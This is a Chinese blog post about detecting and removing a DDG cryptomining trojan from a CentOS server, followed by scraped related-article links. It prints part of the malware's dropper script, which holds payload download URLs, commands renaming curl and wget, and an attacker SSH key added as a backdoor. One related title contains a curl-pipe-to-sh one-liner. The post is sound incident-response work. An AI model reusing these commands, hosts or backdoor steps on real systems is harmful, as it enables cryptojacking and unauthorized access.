注:以下所有操作均在CentOS 7.2 x86_64位系统下完成。

今天突然收到“阿里云”的告警短信:

尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警查看事件详情,并根据事件建议的方案进行处理。

于是登上“云盾云安全中心”查看,发现安全提示:

点进去查看详细信息:

网上查了下,发现这是一款在Linux/Windows双平台的挖矿病毒木马,该木马是通过Redis漏洞传播的挖矿木马DDG的变种,使用Go语言1.10编译使用了大量的基础库文件。该木马会大量消耗服务器资源,难以清除并具有内网扩散功能。

注:DDG挖矿病毒是一款在Linux系统下运行的恶意挖矿病毒,该病毒从去年一直活跃在现在,已经挖取了价值一千多万人民币的虚拟币货币,此病毒样本在一年左右的时间,已开发出了DDG.3012/DDG3013/DDG3020多个变种版本。

接下来清除该病毒。

#病毒清除(第一次)#

1)使用top命令查看当前系统资源使用情况:

# top
top - :: up days, :, user, load average: 35.71, 35.86, 35.53
Tasks: total, running, sleeping, stopped, zombie
%Cpu(s): 92.9 us, 6.9 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.2 si, 0.0 st
KiB Mem : total, free, used, buff/cache
KiB Swap: total, free, used. avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
root S 358.0 0.3 :15.00 sysupdate
root S 40.7 0.2 :29.25 networkservice
root - S 1.3 0.0 :16.12 AliYunDun
root S 0.3 0.0 :54.95 rcu_sched
root R 0.3 0.0 :00.20 top

可以看到sysupdate和networkservice两个异常进程占用了大量的服务器资源。

首先处理sysupdate进程。

2)通过PID找到该异常进程的文件路径。

# ls -l /proc//exe
lrwxrwxrwx root root Oct : /proc//exe -> /etc/sysupdate

可以看到该文件的绝对路径是/etc/sysupdate。我们把这个文件下载下来,放到Virustotal分析一下。

确认是XMR病毒无疑,传送门

3)首先干掉进程。

# kill - 

4)接着删除文件。

# rm -f /etc/sysupdate
rm: cannot remove ‘/etc/sysupdate’: Operation not permitted

无法删除,看来是做了保护,可能是使用chattr命令对文件做了锁定。

5)解除锁定并再次尝试删除文件。

# chattr -i /etc/sysupdate
# rm -f /etc/sysupdate

这次可以删除了。

然后按照上面的步骤把networkservice异常进程文件也删除掉。

查看当前服务器资源使用情况,发现一切正常了:

# top
top - :: up days, :, user, load average: 0.00, 0.02, 1.36
Tasks: total, running, sleeping, stopped, zombie
%Cpu(s): 0.1 us, 0.2 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : total, free, used, buff/cache
KiB Swap: total, free, used. avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
root S 0.7 0.1 :32.75 CmsGoAgent.linu
root - S 0.7 0.0 :49.00 AliYunDun
root S 0.3 0.0 :00.57 kworker/:

这次服务器正常了。

#病毒清除(第二次)#

没过多久,再次收到“阿里云”报警短信:

云盾检测到您的服务器正在通过HTTP请求,尝试连接一个可疑恶意下载源,可能是黑客通过运行指令、恶意进程等方式从远程服务器下载恶意文件,危害服务器安全。如果该操作不是您自己运行,请及时排查入侵原因,例如查看本机的计划任务、发起对外连接的父子进程。

再次登上“云盾云安全中心”查看,发现安全提示:

发现刚刚删除的sysupdate文件又回来了。

# more /etc/sys
sysconfig/ sysctl.d/ system-release sysupdate
sysctl.conf systemd/ system-release-cpe sysupdates

还有一个可疑的sysupdates文件,猜测可能是写了定时任务。

1)查看定时任务的日志,为了方便过滤,加入关键词“update”。

# more /var/log/cron log | grep "update"
Oct :: iabczwz93qwr9mrtmr CROND[]: (root) CMD (sh /etc/update.sh >/dev/null >&)
Oct :: iabczwz93qwr9mrtmr CROND[]: (root) CMD (sh /etc/update.sh )

果然,发现了一个异常的/etc/update.sh脚本。

2)打开这个脚本查看其内容:

# vim /etc/update.sh

#!/bin/sh
setenforce >dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux >/dev/null
sync && echo >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size=""
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size=""
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size=""
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size=""
...

可以看到它在这里做了好几件事,首先是往/etc目录下面下载以下文件:

  • /etc/config.json:挖矿配置文件,包含钱包地址与挖矿参数等;
  • /etc/sysupdate:XMR挖矿程序主体;
  • /etc/sysupdates:XMR挖矿程序主体备份;
  • /etc/sysguard:根据获取到的系统版本下载针对性Payload执行,包含通信模块用于监控并保证病毒的正常运行以及更新;
  • /etc/networkservice:漏洞检测模块,针对Redis、MSSQL、ThinkPHP、WebLogic等软件漏洞和系统漏洞扫描并入侵其他的主机;
  • /etc/update.sh:本脚本文件。

简单分析下/etc/update.sh文件,发现它做了以下事情:

  • 下载病毒模块;
  • 在kill_miner_proc函数中清除其他挖矿病毒;
  • 定时任务存活;
  • 为文件添加chattr锁定;
  • 修改IPTABLES;
  • 清除日志;
  • 关闭SELinux;
  • ……

还有个后门,创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,具体代码如下:

...
chmod /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
...

我们来查看下这个后门:

# vim /root/.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17

接下来我们开始干活。

3)首先清除该定时任务。

4)将相关进程再次重新全部kill杀掉,并且将上述文件全部删除。

# rm -f /etc/update.sh
# rm -f /etc/config.json
# rm -f /etc/sysupdate
# rm -f /etc/sysupdates
# rm -f /etc/networkservice

5)将SSH后门删除。

# rm -f /root/.ssh/authorized_keys

至此,任务完成。

挖矿病毒DDG的分析与清除的更多相关文章

  1. Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

    概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...

  2. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  3. Windows Azure Virtual Machine (39) 清除Linux挖矿病毒

    <Windows Azure Platform 系列文章目录> 1.之前客户遇到了Azure Linux CPU 100%,症状如下: 2.SSH登录到Linux,查看crontab,有从 ...

  4. 挖矿病毒分析(centos7)

    因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案. 服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异 ...

  5. Window应急响应(四):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升 ...

  6. Linux应急响应(三):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...

  7. 5.Windows应急响应:挖矿病毒

    0x00 前言 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒 传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降, 电脑温度升 ...

  8. Window应急响应(六):NesMiner挖矿病毒

    0x00 前言 作为一个运维工程师,而非一个专业的病毒分析工程师,遇到了比较复杂的病毒怎么办?别怕,虽然对二进制不熟,但是依靠系统运维的经验,我们可以用自己的方式来解决它. 0x01 感染现象 1.向 ...

  9. 挖矿病毒、ddos入侵流程及溯源

    一 挖矿病毒简介  攻击者利用相关安全隐患向目标机器种植病毒的行为. 二 攻击方式 攻击者通常利用弱口令.未授权.代码执行.命令执行等漏洞进行传播.示例如下: 示例1:   POST /tmUnblo ...

随机推荐

  1. 数据库中的round()

    Round函数返回一个数值,该数值是按照指定的小数位数进行四舍五入运算的结果.可是当保留位跟着的即使是5,有可能进位,也有可能舍去,机会各50%.这样就会造成在应用程序中计算有误. 参数规范 语法 r ...

  2. asp.net运行原理及机制

    当一个HTTP请求到服务器并被IIS接收到之后,IIS首先通过客户端请求的页面类型为其加载相应的.dll文件,然后在处理过程中将这条请求发送给能够处理这个请求的模块.在ASP.NET 3.5中,这个模 ...

  3. 9.jQuery之简洁版滑动下拉菜单

    知识点:hover的使用,已经slideToggle的切换效果 <style> * { margin: 0; padding: 0; } li { list-style-type: non ...

  4. 异常:Caused by: java.lang.NoClassDefFoundError: org/springframework/web/context/WebApplicationContext

    说明项目没有加载jar包 异常:Caused by: java.lang.NoClassDefFoundError: org/springframework/web/context/WebApplic ...

  5. EditPlus配置Java编译器

    一.环境说明 系统: windows 7 64位 editplus version:  4.3 二.设置步骤 打开工具中的配置用户工具: 找到用户工具User tools,点击组名Group Name ...

  6. export ,export default 和 import 区别以及用法

    首先要知道export,import ,export default是什么 ES6模块主要有两个功能:export和importexport用于对外输出本模块(一个文件可以理解为一个模块)变量的接口i ...

  7. 2018.09.07 最新cocoapods安装流程

    这篇写在简书了,就不费力气搬了,给简书留一篇. https://www.jianshu.com/p/13bbbf804b71

  8. 浅谈java虚拟机|系列2|JVM运行时

    今天我们继续谈谈JVM架构. 今天主要讲讲JVM运行时, 先来一个图: 上篇文章,我们知道,JVM运行时,简单来说就是把class文件翻译成操作系统相关的机器码(或汇编语言),然后通过调用操作系统函数 ...

  9. 七、设备驱动中的阻塞与非阻塞 IO(二)

    7.2 轮询 7.2.1 介绍 在用户程序中的 select() 和 poll() 函数最终会使设备驱动中的 poll() 函数被执行. 设备驱动程序中的轮询函数原型: /** 用于询问设备是否可以非 ...

  10. DevExpress v19.1新版亮点——WinForms篇(四)

    行业领先的.NET界面控件DevExpress v19.1终于正式发布,本站将以连载的形式介绍各版本新增内容.在本系列文章中将为大家介绍DevExpress WinForms v19.1中新增的一些控 ...